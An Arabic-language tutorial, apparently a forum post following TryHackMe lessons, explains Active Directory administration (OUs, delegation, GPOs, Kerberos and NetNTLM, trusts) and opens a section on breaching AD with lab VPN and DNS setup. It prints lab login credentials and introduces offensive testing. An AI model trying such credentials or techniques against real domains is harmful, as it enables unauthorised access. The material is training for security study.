الـ Server Operatorsالمستخدمون بالمجموعة هاي بإمكانهم إدارة أجهزة التحكم بالدومين. لا يمكنهم تغيير عضوية أي مجموعة إدارية.
الـ Backup Operatorsالمستخدمون بالمجموعة هاي بإمكانهم الوصول إلى أي ملف، متجاهلين صلاحياته. يستخدمون لأخذ نسخ احتياطية من البيانات على أجهزة الكمبيوتر.
الـ Account Operatorsالمستخدمون بالمجموعة هاي بإمكانهم إنشاء أو تعديل الحسابات الأخرى في الدومين.
الـ Domain Usersتشمل جميع حسابات المستخدمين الموجودة في الدومين.
الـ Domain Computersتشمل جميع أجهزة الكمبيوتر الموجودة في الدومين.
الـ Domain Controllers تشمل جميع أجهزة التحكم في الدومين الموجودة في الدومين.

يمكنك الحصول على القائمة الكاملة لمجموعات الأمان الافتراضية من Microsoft documentation

عشان نقدر نكوّن المستخدمين والمجموعات أو الأجهزة بالـ Active Directory لازم ندخل على الـ Domain Controller ونشغل الـ Active Directory Users and Computers :



هاد بفتحلنا نافذة بنقدر نشوف فيها هيكل المستخدمين والأجهزة والمجموعات اللي موجودة بالدومين

الامور هاي مقسمة بوحدات تنظيمية (OUs) اللي هي عبارة عن حاويات بتسمحلك تصنف المستخدمين والأجهزة.

الوحدات التنظيمية هاي عادةً بنستخدمها عشان نحدد مجموعات من المستخدمين اللي عندهم نفس متطلبات السياسات. الناس اللي بقسم المبيعات في شركتك غالبًا بكون عندهم مجموعة سياسات مختلفة عن الناس اللي بقسم تقنية المعلومات مثلاً. خلي ببالك إن المستخدم ممكن يكون بجزء من وحدة تنظيمية وحدة بس بنفس الوقت

لو شفنا عننا بنلاقي فيه وحدة تنظيمية اسمها THM ومعاها أربع وحدات تنظيمية فرعية لقسم تقنية المعلومات الإدارة التسويق والمبيعات.



الوحدات التنظيمية عاده بتكون متشابهة لبنية العمل عشان يسهل علينا نطبق السياسات اللي تنطبق على الأقسام كلها هاد النموذج المتوقع أغلب الوقت بس بإمكاننا نحدد الوحدات التنظيمية بأي طريقة بنحبها
ممكن تضغط كليك يمين على وحدة THM وتعمل وحدة تنظيمية جديدة تحتها باسم Students مثلا ...

لو فتحت أي وحدة تنظيمية بتقدر تشوف المستخدمين اللي فيها وتعمل مهام بسيطة زي إنشاء حذف أو تعديلهم حسب الحاجة. بتقدر كمان تعيد تعيين كلمات المرور لو احتجت (وهاد مفيد جدًا لقسم الدعم الفني)



ممكن تكون لاحظت إنه فيه حاويات افتراضية تانية غير وحدة THM. الحاويات هاي بعملها Windows تلقائيًا وبتحتوي على الآتي :

  • الـ Builtin : فيها المجموعات الافتراضية اللي متاحة لأي جهاز Windows .
  • الـ Computers : أي جهاز بنضم للشبكة بنحط هنا بشكل افتراضي. بتقدر تحركهم لو احتجت.
  • الـ Domain Controllers : وحدة تنظيمية افتراضية بتحتوي على وحدات تحكم الدومين في شبكتك.
  • الـ Users : المستخدمين والمجموعات الافتراضية اللي بتنطبق على مستوى الدومين كله.
  • الـ Managed Service Accounts : فيها الحسابات اللي بتستخدمها الخدمات بدومين Windows الخاص فيك


المجموعات الأمنية مقابل الوحدات التنظيمية

ممكن تتساءل ليه عننا مجموعات ووحدات تنظيمية. رغم إن الاثنين بستخدموا لتصنيف المستخدمين والأجهزة، لكن أغراضهم مختلفة تمامًا:

  • الوحدات التنظيمية : بنستخدمها لتطبيق السياسات على المستخدمين والأجهزة، اللي بتشمل تكوينات محددة بتنطبق على مجموعات المستخدمين حسب دورهم بالمؤسسة. زي لما حكينا إن المستخدم بكون عضو بوحدة تنظيمية وحدة بس بنفس الوقت عشان مش منطق نحاول نطبق مجموعتين مختلفتين من السياسات على مستخدم واحد 🫠.

  • المجموعات الأمنية: بنستخدمها عشان نعطي صلاحيات للوصول للموارد. مثلاً، لو بدك تسمح لبعض المستخدمين بالوصول لمجلد مشترك أو طابعة شبكة , المستخدم ممكن يكون عضو بمجموعات كثيرة وهاد مطلوب عشان نعطيهم صلاحية للوصول لأكتر من مورد










إدارة المستخدمين بالـ Active Directory


سيناريو

مهمتك الأولى كمسؤول Domain جديد هي التحقق من وجود وحدات التنظيم الإداري (OUs) والمستخدمين الحاليين بالـ AD ، نظرًا لحدوث بعض التغييرات الأخيرة بالشركة تم تزويدك بالرسم البياني التنظيمي التالي ومن المتوقع أن تقوم بإجراء تغييرات بالـ AD لتتوافق معه :
الرسم البياني التنظيمي لشركة THM

THM Organisational Chart




حذف الـ OUs والمستخدمين الزائدين
أول شيء يجب ملاحظته هو أن هناك وحدة تنظيمية إضافية في تكوين AD الحالي لا تظهر بالرسم البياني. تم إغلاقها بسبب تخفيضات الميزانية ويجب إزالتها من النطاق. إذا حاولت النقر بزر الماوس الأيمن وحذف الـ OU ، ستحصل على رسالة خطأ تفيد :

بشكل افتراضي، تكون الـ OU'S محمية ضد الحذف العرضي. لحذف الـ OU، بنحتاج لتمكين الميزات المتقدمة في قائمة View > تمكين الميزات المتقدمة


بظهرلك بعض الحاويات الإضافية وبإمكانك تعمل تعطيل من حماية الحذف العرضي الها عن طريق الظغط على زر الماوس الأيمن على OU واذهب إلى الخصائص. ستجد خانة الاختيار في خانه الـ object لتعطيل الحماية:


تأكد من إلغاء التحديد وحاول حذف OU مرة أخرى سيُطلب منك تأكيد رغبتك في حذف الـ OU ونتيجة لحذفها سيتم حذف أي مستخدمين أو مجموعات أو OUs تحتها أيضًا.

بعدها لازم نتاكد من المستخدمين اللي بالاقسام بنلاحظ أن بعض الأقسام المستخدمين في AD ما يتطابقون مع اللي موجودة بالرسم البياني التنظيمي اللي عننا ف بنعمل إنشاء وحذف المستخدمين حسب الحاجة لمطابقتهم.

هون بنمحي المستخدمين الزياده



التفويض
أحد الأشياء الجيدة التي بإمكانك القيام بها بالـ AD هو منح مستخدمين محددين بعض التحكم ببعض الـ OUs. تعرف العملية هاي باسم التفويض وبتسمحلك تمنح مستخدمين صلاحيات محددة لأداء مهام متقدمة على OUs دون الحاجة إلى تدخل الـ Domain Administrator.

أحد أكثر حالات الاستخدام شيوعًا لهذا هو منح فريق الدعم تقني صلاحيات إعادة تعيين كلمات مرور المستخدمين ذوي الصلاحيات المنخفضة. وفقًا لرسمنا التنظيمي يتولى فيليب مسؤولية الدعم تقني، لذا من المحتمل أن نرغب في منحه التحكم في إعادة تعيين كلمات المرور لأقسام المبيعات والتسويق والإدارة.

عشان نمنح فيليب التحكم بالـ OU للمبيعات، بأمكاننا النقر بزر الماوس الأيمن عليها واختيار Delegate Control:



يجب أن تفتح نافذة جديدة تُطلب منك أولاً تحديد المستخدمين الذين ترغب في منحهم التحكم:

\بنكتب اسمه بعدها بنكبس على Check
بعدها نعطيه صلاحيه تغير الباسورد
والآن يجب أن يكون فيليب قادرًا على إعادة تعيين كلمات المرور لأي مستخدم في قسم المبيعات. بينما قد ترغب في تكرار هذه الخطوات لمنح إعادة تعيين كلمات المرور لأقسام التسويق والإدارة
الآن دعونا نستخدم حساب فيليب لمحاولة إعادة تعيين كلمة مرور سوفي.

إليك بيانات اعتماد فيليب لك تسجيل الدخول عبر RDP:


اسم المستخدم phillip
كلمة المرور Claire2008

ملاحظة: عند الاتصال عبر RDP، استخدم THM\phillip كاسم مستخدم لتحديد أنك تريد تسجيل الدخول باستخدام المستخدم فيليب على نطاق THM



بينما قد تميل إلى الذهاب إلى أدوات مستخدمي Active Directory ومحاولة اختبار صلاحيات فيليب الجديدة، ف بنشوف انه ما اله صلاحيات لفتحها ، عشان هيك بتعين علينا نستخدم طرق ثانيه لإعادة تعيين كلمات المرور.

بهاي الحالة، بنستخدم الـ Powershell :


كود:
PS C:\Users\phillip> Set-ADAccountPassword sophie -Reset -NewPassword (Read-Host -AsSecureString -Prompt 'New Password') -Verbose

New Password: *********

VERBOSE: Performing the operation "Set-ADAccountPassword" on target "CN=Sophie,OU=Sales,OU=THM,DC=thm,DC=local".


.نظرًا لأننا لا نرغب في أن يستمر استخدام سوفي لكلمة مرور نعرفها، يمكننا أيضًا فرض إعادة تعيين كلمة المرور في تسجيل الدخول التالي باستخدام الأمر التالي:


كود:
PS C:\Users\phillip> Set-ADUser -ChangePasswordAtLogon $true -Identity sophie -Verbose

VERBOSE: Performing the operation "Set" on target "CN=Sophie,OU=Sales,OU=THM,DC=thm,DC=local".



بنسجل دخول لحساب سوفي باستخدام كلمة المرور الجديدة اللي حطيناها وبنلاقي الحل على سطح مكتب سوفي.

ملاحظة: عند الاتصال عبر RDP، استخدم THM\sophie كاسم مستخدم لتحديد أنك تريد تسجيل الدخول باستخدام المستخدم سوفي على نطاق THM.


هاي هي الخطوه الثانيه اللي عملناها











إدارة الاجهزة بالـ Active Directory

بشكل افتراضي تُضاف جميع الأجهزة اللي بتنضم لنطاق معين (باستثناء المراكز التحكم الرئيسية) إلى حاوية تسمى Computers
إذا تحققنا من مركز التحكم الرئيسي بنلاقي انه بعض الأجهزة موجودة هناك :


حاوية Computers OU

لما نفوت عليها بنلاقي خوادم وأجهزة محمولة وأجهزة كمبيوتر التي بتتناسب مع المستخدمين بشبكتنا , طبعا وضع كل الأجهزة هون فكرة مش منيحه لأنه اكيد بدك تطبق سياسات على كل نوع منهم ف ما رح تطبق نفس السياسات للخوادم والأجهزة اللي بستخدمها المستخدمون العاديون يوميًا.



نقطة البداية الممتازة هي نفصل الأجهزة حسب استخدامها. بشكل عام ممكن نشوف الاجهزه مقسمه لثلاث فئات :

  1. الأجهزة العملية (workstation)
من المتوقع أن يقوم كل مستخدم في النطاق بتسجيل الدخول ل workstation ,هذا هو الجهاز الذي سيستخدمونه لأداء أعمالهم أو للتصفح العادي. لا يجب أبدًا أن يكون هناك مستخدم مؤهل مسجل على هذه الأجهزة. وهي الأكثر شيوعًا
  1. الخوادم (Servers)
تُستخدم الخوادم عادةً لتوفير الخدمات للمستخدمين أو لخوادم أخرى.
  1. مراكز التحكم الرئيسية (Domain Controllers)
بتتيحلك مراكز التحكم الرئيسية لإدارة نطاق الـ Active Directory , تعتبر هاي الاجهزه من أكثر الأجهزة حساسية ضمن الشبكة لأنها بتحتوي على كلمات مرور مشفرة لجميع حسابات المستخدمين داخل الـ environment .

نكمل السناريو
مش احنا بننظم الـ AD الخاص فينا بننشئ مجموعتين منفصلتين للأجهزة: مجموعة للأجهزة العملية وأخرى للخوادم (مراكز التحكم الرئيسية بالفعل في مجموعة أنشأتها Windows). بننشئهم تحت النطاق thm.local




الآن بس بننقل أجهزة الكمبيوتر الشخصية وأجهزة الكمبيوتر المحمولة لقسم الـ workstation والخوادم لقسم الـ servers من قسم الـ Computers , بتيحلنا هاد اللي عملناه تكوين السياسات لكل قسم لحال

بعد ما ننشئ قسمين وننقل عليهم الاجهزه









تنظيم الـ Group Policies بالـ Active Directory

حتى الآن نظمنا المستخدمين وأجهزة الكمبيوتر بوحدات تنظيمية (OUs) الفكرة الاساسية هي انو نضع سياسات مختلفة لكل وحدة تنظيمية بشكل فردي. هيك بإمكاننا نطبق تكوينات وسياسات للأمان مختلفة للمستخدمين حسب إداراتهم.

إدارة السياسات عبر الـ Group Policy Objects (GPO)

الـ GPOs هي ببساطة مجموعة من الإعدادات اللي ممكن تطبيقها على الوحدات التنظيمية. ممكن تحتوي الـ GPOs على سياسات بتستهدف إما المستخدمين أو أجهزة الكمبيوتر

كيفية تكوين الـ GPOs


لتكوين الـ GPOs بإمكانك تستخدم أداة Group Policy Management

بس نفتح الأداة بظهرلك هيكلية الوحدات التنظيمية الكاملة اللي شفناها قبل

عشان ننشئ سياسة جديدة

بننشئها تحت الـ Group Policy Objects بعدها بنربطها بالوحدة التنظيمية اللي بدنا نطبق السياسات هاي عليها

مثلا في ثلاث سياسات موجودة بالفعل بالجهاز : Default Domain Policy و RDP Policy و Default Domain Controllers Policy




سياسات Default Domain Policy و RDP Policy مرتبطة بنطاق thm.local كامل ، بينما سياسة Default Domain Controllers Policy مرتبطة بوحدة Domain Controllers فقط.


تطبيق GPOs على الوحدات التنظيمية الفرعية:
أي GPO مرتبطة بوحدة تنظيمية بتنطبق على أي وحدات تنظيمية فرعية تحتها يعني وحدة Sales بتنطبق عليها سياسة Default Domain Policy

تحليل GPO

بنفتح على سياسة Default Domain Policy ، لما نختارها بظهر الـ (scope) اللي بتظهر مكان الـ linked الـ GPO بالـ (AD) بهاي الحاله تم ربطها بس بنطاق الـ thm.local

الـ Security Filtering بالـ GPO

بامكاننا نطبق الـ Security Filtering على الـ GPOs بحيث تنطبق فقط على المستخدمين/الكمبيوترات المحددة ضمن وحدة تنظيمية ( او قسم معين يعني ).
افتراضيًا، بتنطبق على مجموعة المستخدمين المصادق عليهم ( Authenticated Users ) اللي بتشمل كل المستخدمين/الكمبيوترات.


الإعدادات بالـ GPO

تحتوي الإعدادات على محتويات الـ GPO الفعلية وبتتيحلنا نعرف التكوينات المحددة اللي بتنطبق , بتحتوي كل الـ GPO على تكوينات بتنطبق على الكمبيوترات بس وتكوينات بتنطبق على المستخدمين بس.

بهاي الحالة بتحتوي سياسة الـ Default Domain Policy على تكوينات الكمبيوتر فقط.



تغيير إعدادات الـ GPO

لتغيير سياسة طول كلمة المرور الأدنى مثلا

اتبع الخطوات التالية:


بنظغط كلك يمين على الـ GPO وبنختار Edit
بعدها بنروح لـ Computer Configurations -> Policies -> Windows Setting -> Security Settings -> Account Policies -> Password Policy

بعدها بنغير قيمة السياسة المطلوبة (مثل طول كلمة المرور الأدنى).

استكشاف المزيد من السياسات

هناك العديد من السياسات التي يمكن تكوينها في الـ GPO. يمكنك استكشاف المزيد من السياسات المتاحة والتفاصيل الخاصة بها بالنقر المزدوج عليها وقراءة علامة تبويب التفسير (Explain) لكل منها.





الـ GPOs بتتوزع على الشبكة عن طريق مكان للمشاركة بالشبكة اسمه SYSVOL اللي موجود بالـ Domain Controller (DC)
كل المستخدمين اللي بالدومين المفروض بقدروا يوصلوا للمكان هاد عن طريق الشبكة عشان يقدروا يحدثوا الـ GPOs تاعتهم بشكل دوري , المكان هاد بشكل افتراضي بكون بمسار : \C:\Windows\SYSVOL\sysvol على كل الـ
DCs بالشبكة

لما ينعمل أي تغيير بالـ GPOs ، ممكن ياخذ لحد ساعتين عشان الأجهزة تحدث الـ GPOs الجديدة لو بدك تجبر جهاز معين يحدث الـ GPOs فوراً ، ممكن تشغل الأمر هاد على الجهاز المطلوب :


كود:
PS C:\> gpupdate /force


إنشاء بعض GPOs لشركة THM Inc

في شغلنا الجديد عننا مهمة إننا نطبق شوية GPOs عشان :

1. نمنع المستخدمين غير الـ IT انهم يوصلو للوحة التحكم (Control Panel)
2. نخلي أجهزة الـ workstations و servers تقفل الشاشة تلقائياً بعد 5 دقائق من عدم النشاط عشان ما يتركو الجلسات مفتوحة

راح نركز على كل وحدة ونحدد السياسات اللي راح نفعلها بكل الـ GPO وأماكن ربطها

تقييد الوصول للوحة التحكم

بدنا نمنع الوصول للوحة التحكم على كل الأجهزة إلا للمستخدمين اللي بقسم الـ IT المستخدمين اللي بالأقسام الثانية غير مسموح الهم يغيروا إعدادات النظام

بننشئ GPO جديد اسمه Restrict Control Panel Access وبنفتحه عشان نعدل عليه بما إننا بدنا الـ GPO يتطبق على مستخدمين محددين بنبحث عند الـ User Configuration على السياسة هاي :



مشاهدة المرفق 11350
مشاهدة المرفق 11346


نجدها هنا
11347

مشاهدة المرفق 11348

نقوم بتفعيل هذه السياسه
مشاهدة المرفق 11349

وهسا بس بنسحبها لكل الاقسام اللي بدنا نمنع عنهم الـ Control Panel
بنلاحظ اننا ما حطيناها بقسم الـ lT لانو احنا بدنا نخليلهم صلاحيه للـ Control Panel


الـ GPO لقفل الشاشة تلقائياً


بإمكاننا نطبقها مباشرة على الـ OUs تاعة الأجهزة والسيرفرات والـ Domain Controllers اللي عملناها قبل

رغم إن هاد الحل بزبط وفي برضو حل بديل وهو إننا نطبق الـ GPO على الدومين الرئيسي لأننا بدنا الـ GPO يأثر على كل أجهزتنا , بما إن الـ OUs تاعة الـ workstations و servers والـ Domain Controllers كلها وحدات فرعية من الدومين الرئيسي ف راح تورث السياسات اللي بالدومين الرئيسي

ملاحظة: لو الـ GPO تم تطبيقه على الدومين الرئيسي بتم وراثته برضو بالـ OUs الثانية زي التسويق والمبيعات بما إن الـ OUs دي بتحتوي على مستخدمين بس أي تكوينات بتخص الكمبيوتر في الـ GPO خاص فينا هتتجاهلهم.

بننشئ GPO جديد وبنسميه Auto Lock Screen وبنعدله

بأمكاننا نبحث على قوقل عن auto lock screen location in ad policy وبنطلعلنا المسار او بنفوت على الخيارات من اسمها ممكن تعرف وين ممكن تلاقيها
السياسة اللي راح نستخدمها موجودة بالمسار هاد :




هنحدد حد عدم النشاط بـ 5 دقائق علشان الأجهزة تقفل تلقائياً لو أي مستخدم ترك جلسته مفتوحة بعد ما نسكر محرر الـ GPO ، هنربط الـ GPO بالدومين الرئيسي عن طريق سحب الـ GPO ليه.

بطلب مننا العدد بالثواني​

نجد معلومات عن هذه البولسي​




التحقق من تطبيق GPOs

بعد ما نطبق الـ GPOs على الـ OUs الصحيحة، بنقدر نسجل الدخول بأي مستخدم من التسويق أو المبيعات أو الإدارة عشان نتأكد

عشان نعمل هيك بنستخدم RDP وبنسجل دخول باستخدام بيانات مارك مثلا :

اسم المستخدم: Mark
كلمة المرور: M4rk3t1ng.21

ملاحظة: لما نستخدم RDP ، استخدم THM\Mark كاسم المستخدم علشان تحدد إنك عايز تسجل دخول كمستخدم مارك في دومين THM

لو حاولنا نفتح لوحة التحكم بتطلعلنا رسالة مكتوب فيها إنو الوصول ممنوع من المسؤول كمان ممكن نستنا 5 دقائق عشان نتأكد إن الشاشة بتتسكر تلقائي

بما إننا ما طبقنا الـ GPO تاعة لوحة التحكم على الـ IT بنقدر نسجل دخول لأي جهاز كمستخدمين من الـ IT وندخل لوحة التحكم عادي

ملاحظة: لو أنشأت وربطت الـ GPOs لكن لأي سبب ما اشتغلت اتذكر إنك بتقدر تشغل gpupdate /force عشان تجبره بتحديث الـ GPOs













طرق الـ Authentication بالـ Active Directory


عند استخدام Windows domains يتم تخزين جميع بيانات الاعتماد بالـ Domain Controllers لما يحاول المستخدم المصادقة على خدمة باستخدام بيانات اعتماد الـ Domain بتحتاج الخدمة انها تتحقق من صحتها من خلال الـ Domain Control في بروتوكولين يمكن استخدامهما للمصادقة على الشبكة بنطاقات الـ Windows :

1. الـ Kerberos : يستخدم في أي إصدار حديث من الـ Windows وهو البروتوكول الافتراضي بأي نطاق حديث
2. الـ NetNTLM : بروتوكول مصادقة قديم يتم الاحتفاظ به لأغراض التوافق

على الرغم من أن الـ NetNTLM يعتبر قديم فإن معظم الشبكات بتحتوي على البروتوكولين الثنين مفعلين

نفصّل طريقه عمل كل من البروتوكولين


الـ Kerberos Authentication

هو بروتوكول المصادقة الافتراضي لأي إصدار حديث من Windows لما يسجل المستخدم دخوله لخدمة باستخدام Kerberos بتم تخصيص tickets اله ( فكّر في التذاكر كإثبات لمصادقة سابقة ) بإمكان المستخدمين اللي معهم ticket يقدموها للخدمة عشان يبينولها أنهم عملو مصادقة قبل على الشبكة وبالتالي بإمكانهم يستخدموها


لما نستخدم الـ Kerberos للمصادقة بتحدث العمليات التالية :

1. برسل المستخدم اسم المستخدم الخاص فيه و طابع زمني ( timestamp مشفر باستخدام مفتاح مشتق من كلمة المرور ) إلى Key Distribution Center (KDC)
وهي خدمة يتم تثبيتها على الـ Domain Controller المسئول عن إنشاء تذاكر Kerberos على الشبكة


2. يقوم الـ KDC بإنشاء وإرسال Ticket Granting Ticket (TGT) التي بتسمح للمستخدم بطلب تذاكر إضافية للوصول إلى خدمات محددة كما يتم إعطاؤه الـ Session Key اللي بحتاجه لتوليد الطلبات التالية
ممكن يكون الموضوع هاد غريب لكنها بتتيح للمستخدمين بطلب تذاكر الخدمة بدون ما يدخلو بياناتهم بكل مره بدهم يتصلو بخدمة معينة

زي ما حكينا الـ TGT مشفرة باستخدام كلمة مرور حساب krbtgt وبالتالي لا يمكن للمستخدم الوصول إلى محتوياتها , من المهم نعرف أن الـ TGT المشفرة بتتضمن نسخة من الـ Session Key كجزء من محتوياتها و KDC مش بحاجه انه يخزن الـ Session Key لأنه بإمكانه يستعيده بفك تشفير الـ TGT عند الحاجة

الخطوتين موضحات بالصوره

Kerberos step 1

اذا المستخدم بدو يتصل بخدمة على الشبكة مثل مشاركة موقع ويب أو قاعدة بيانات بستخدم TGT لطلب Ticket Granting Service (TGS) من KDC الـ TGS هي تذاكر بتتيح تتصل بس بخدمة محددة اللي انشأناها عشانها

3. عشان نطلب الـ TGS برسل المستخدم اسم المستخدم و الطابع الزمني ( اللي حكينا عنهم قبل ) مع TGT و الـ Service Principal Name (SPN) اللي بشير للخدمة واسم الخادم اللي بدنا نوصله , النتيجة للطلب الـ KDC برسل الـ TGS مع الـ Session Key اللي بنستخدمه للمصادقة على الخدمة اللي بدنا نوصللها
وطبعا يتم تشفير
TGS باستخدام مفتاح مشتق من كلمه المرور الخاصه بـ مالك الخدمة اللي هو حساب المستخدم أو الجهاز الذي بتعمل تحته الخدمة , و الـ TGS بتضمن نسخة من الـ Session Key ضمن محتوياتها المشفرة بحيث المالك بإمكانه يوصله بس بفك تشفير الـ TGS .


Kerberos step 2
بعد هيك يمكن إرسال الـ TGS للخدمة المطلوبة للمصادقة وإنشاء اتصال

Kerberos step 3


الـ NetNTLM

بشتغل الـ NetNTLM باستخدام آلية challenge-response

العملية الكاملة هيك :


1. العميل برسل طلب المصادقة للخادم اللي بده يوصلله بعدها الخادم بنشئ رقم عشوائي وبرسله كـ challenge للعميل بعدها العميل بدمج كلمه السر الخاصه فيه NTLM الخاصة به مع الـ challenge (وبيانات أخرى معروفة) لتوليد الـ response للـ challenge وبرسلها مرة ثانيه للـ server للتحقق

البروتوكول NTLM بعمل hash لكلمة مرور المستخدم ويستخدم الـ hash بعمليات المصادقة بدلاً من كلمة المرور الفعلية



2. بعدها الـ server بعمل إعادة توجيه للـ challenge والـ response لـ Domain Controller للتحقق , بستخدم الـ Domain Controller الـ challenge لإعادة حساب الـ response وبقارنها بالـ response الأصلية اللي أرسلها العميل إذا طلعو متطابقين اكيد يتم مصادقة العميل غير هيك يتم رفض الوصول , يتم إرسال نتيجة المصادقة إلى server ومن ثم يقوم الخادم بإعادة توجيه نتيجة المصادقة إلى العميل.


لاحظ أن كلمة مرور المستخدم (أو الـ hash ) لا يتم إرسالها عبر الشبكة للأمان











اداره الـ Treesو Forests بالـ Active Directory

لهسا حكينا عن كيفيه إدارة domain واحد ودور وحدة التحكم بالـ domain وكيفية انضمام أجهزة الكمبيوتر والخوادم والمستخدمين... لما تكبر الشركات بتنمو شبكاتها كمان ووجود domain واحد لشركة بكفي بالبداية لكن مع مرور الوقت ممكن تحتاج أكثر من domain واحد

Single Domain



الـ Trees

تخيل مثلا انه شركتك توسعت فجأة لدولة جديدة الدولة الجديدة الها قوانين ولوائح مختلفة بتتطلب منك مثلا تحدث سياسات الـ GPO للامتثال لقوانينها وكمان عندك فريق IT بكل من البلدين وكل فريق IT بحتاج لإدارة الموارد التي بتخص كل بلد بدون التدخل في بعمل الفريق الآخر

في حين أنه بإمكانك تنشئ هيكل OU معقد وتستخدم الـ delegations لتحقيق هاد لكن ممكن يكون من الصعب إدارة هيكل AD كبير وعرضة للأخطاء البشرية

الـ Active Directory بدعم تدمج عدة نطاقات بحيث بإمكانك تقسم شبكتك لوحدات يمكن إدارتها بشكل مستقل إذا كان عندك domain 2 بشتركوا بنفس الاسم ( thm.local في مثالنا ) بأمكاننا ندمج هذول النطاقيات بـ Trees

إذا تم تقسيم نطاق thm.local إلى نطاقين فرعيين لفروع مثلا UK و US بإمكانك تبني الـ Trees بالـ domain الاصلي thm.local ونطاقين فرعيين ( subdomains ) يسمى uk.thm.local و us.thm.local ، كل منها يحتوي على AD أجهزة كمبيوتر ومستخدمين :


Tree

بمنحنا هاد الهيكل المقسم تحكم أفضل ب من بإمكانه الوصول إلى ماذا بالـ domain بحصل فريق الـ IT بالـ US على وحدة تحكم بالـ domain الخاص فيهم ( بديرو موارد الـ us بس ) مثلا ما بقدر حد من فريق الـ IT انه يدير مستخدم من الـ UK

هيك بكون لمديري الـ domain بكل فرع سيطرة كاملة على وحدات التحكم بالـ domain الخاصة فيهم ولكن ليس على وحدات التحكم بالـ domain الخاصة بالفروع الأخرى وبأمكاننا كمان نكون سياسات بشكل مستقل لكل domain بالـ Trees

يجب تقديم مجموعة أمان جديدة لما نحكي عن الـ Treesو Forests بنمنح مجموعة الـ Enterprise Admins للمستخدم امتيازات إدارية على جميع نطاقات المؤسسة كل نطاق بكونله مديري نطاق بصلاحيات إدارية على نطاقهم بس والـ Enterprise Admins اللي بإمكانهم يتحكمو بكل اشي بالمؤسسة




الـ Forests

لنفترض أن شركتك بتستمر بالنمو و بالنهاية بتستحوذ على شركة ثانيه تسمى MHT Inc لما تندمج الشركتان بكون عند على الأرجح domain trees مختلفة لكل شركة يديرها كل منها قسم تكنولوجيا المعلومات الخاص فيه الاتحاد بين عدة trees بأسماء مختلفة بنفس الشبكة يعرف بالـ Forests
Forest



الـ Trust Relationships
وجود عدة domain منظمة بـ Treesو Forests بسمحلك بوجود شبكة مقسمة بشكل جيد من حيث الإدارة والموارد لكن بمرحلة معينة ممكن تحتاج مستخدم بالـ THM UK للوصول لملف مشترك بأحد خوادم MHT ASIA عشان هاد الاشي يحدث يتم ربط الـ domains المنظمة بالـ Treesو Forests ببعضها البعض بواسطة الـ Trust Relationships

وجود علاقة موثوقة بين الـ domains بسمحلك باعطاء صلاحيه لمستخدم من domain الـ THM UK للوصول لموارد لـ domain الـ MHT EU

أبسط علاقة موثوقة يمكن إقامتها هي علاقة موثوقة باتجاه واحد

بالعلاقة الموثوقة باتجاه واحد إذا كان domain الـ AAA يثق في domain الـ BBB ف يعني أن مستخدماً بـ BBB يمكن السماح له للوصول لموارد بـ AAA :



Trusts

اتجاه العلاقة الموثوقة باتجاه واحد يكون عكس اتجاه الوصول

يمكن أيضاً إقامة علاقات موثوقة باتجاهين للسماح لكل domain بالسماح للمستخدمين من الـ domain الثاني بالوصول لموارد بعض , بشكل افتراضي دمج عدة domains تحت Trees او Forests بشكل علاقة موثوقة باتجاهين

من المهم ملاحظة أن وجود علاقة موثوقة بين الـ domain لا يمنح تلقائياً الوصول إلى جميع الموارد بالـ domain الثانية , بمجرد إنشاء علاقة موثوقة بكون عندك الفرصة لتسمح للمستخدمين عبر domains مختلفة , لكن الموضوع برجعلك باللي بتسمحه او لا













مقدمة عن اختراق الـ Active Directory

الوصول الأولي واختراق Active Directory

قبل ما نبلش ندور على اخطاء او ثغرات او كيف نرفع صلاحيات بالـ AD بنحتاج نوصل اول اشي , بكلمات ادق بنحتاج بيانات عن الـ AD وعاده اول اشي بنعمله قبل اي عمليه ختراق او اي عمليه فحص بنعمل Enumeration وطبعا بسبب عدد الخدمات الوميزات بالـ AD ف الهجوم عشان نحصل على بيانات اوليه بكون مهم

حتى لما نحكي عن بيانات اوليه ما بنحكي عن الاذونات اللي مرتبطه بالحساب نفسه بس بدنا طريقه نكون ( يكون النا مكان ) بالـ AD عشان نعمل Enumeration عالـ AD نفسه





عشان نتصل بالشبكة الخاصه بـ TryHackMe

إذا كنت بتستخدم الـ AttackBox من الويب بتلاقيه موصلك بالشبكة تلقائي بإمكانك تتاكد باستخدام أمر ping للتحقق من IP الـ host اللي هو THMDC.za.tryhackme.com ولكن بس بدنا نزبط اعدادات الـ DNS

شبكات الـ Windows بتستخدم خدمة الـ Domain Name Service لجعل أسماء الـ host لـ IPs

لتكوين الـ DNS بنستخدم الأمر :

كود:
systemd-resolve --interface breachad --set-dns $THMDCIP --set-domain za.tryhackme.com
وطبعا بتستبدل الـ THMDCIP$ بـ IP الخاص بـ THMDC بشبكتك بإمكانك تختبر الـ DNS عن طريق الامر :
كود:
nslookup thmdc.za.tryhackme.com

إذا كنت بتستخدم جهازك بتم توليد ملف OpenVPN من اعدادات الوصلول بحسابك ( access )

بنروح عالصفحه


مشاهدة المرفق 11637

بنختار BreachingAD من خوادم الـ VPN وبنزله

مشاهدة المرفق 11638

على لينكس بنستخدم الامر هاد عشان نتصل عن طريق اداه OpenVPN
كود:
sudo openvpn breachingad.ovpn
لما تظهرلنا رساله Initialization Sequence Completed ف احنا هيك متصلين على الشبكة وكمان لازم نعمل اعدادات الـ DNS بنفس الطريقة اللي حكينا عنها قبل لاحظ أن الـ DC بسجل طلبات الـ DNS

تصحيح أخطاء الـ DNS


تصحيح أخطاء DNS جزء أساسي من اختبار Active Directory والسبب هو أن أحد بروتوكولي المصادقة الرئيسيين في AD وهو الـ Kerberos بعتمد على الـ DNS لإنشاء التذاكر زي ما حكينا قبل لا يمكن ربط التذاكر بعناوين الـ IP عشان هيك الـ DNS ضروري عند اختبار شبكات الـ AD بالتقييمات الأمنية لازم يكون عندك مهارات لحل مشاكل الـ DNS

عندك خيارين عادةً :


1. تسجيل إدخالات الـ DNS يدويًا بملف etc/hosts/ ممكن يكون هاد الحل فعال بس مش عملي إذا كنت بتختبر شبكات بتضم مثلا أكثر من 10,000 hosts
2. ممكن توخذ وقت وانت بتحل مشاكل الـ DNS ممكن يكون الاشي صعب بس بعطي نتائج أفضل على المدى الطويل
لما تواجه مشكلة بإحدى المهام بتسأ حالك هل DNS شغال ؟ ممكن تكون ضيعت وقت بتسأل حالك ليش ما بتشتغل الادوات اذا ما بتكون المشكله من الادوات بكون بس انه الـ DNS تغير

خطوات تصحيح أخطاء DNS :

اتبع الخطوات بس حسب نوع جهازك
إذا كنت بتستخدم نظام تشغيل مختلف بتبحث على Google بتلاقي إعدادات لجهازك



1. بتشغل الأمر
كود:
ping <THM DC IP>
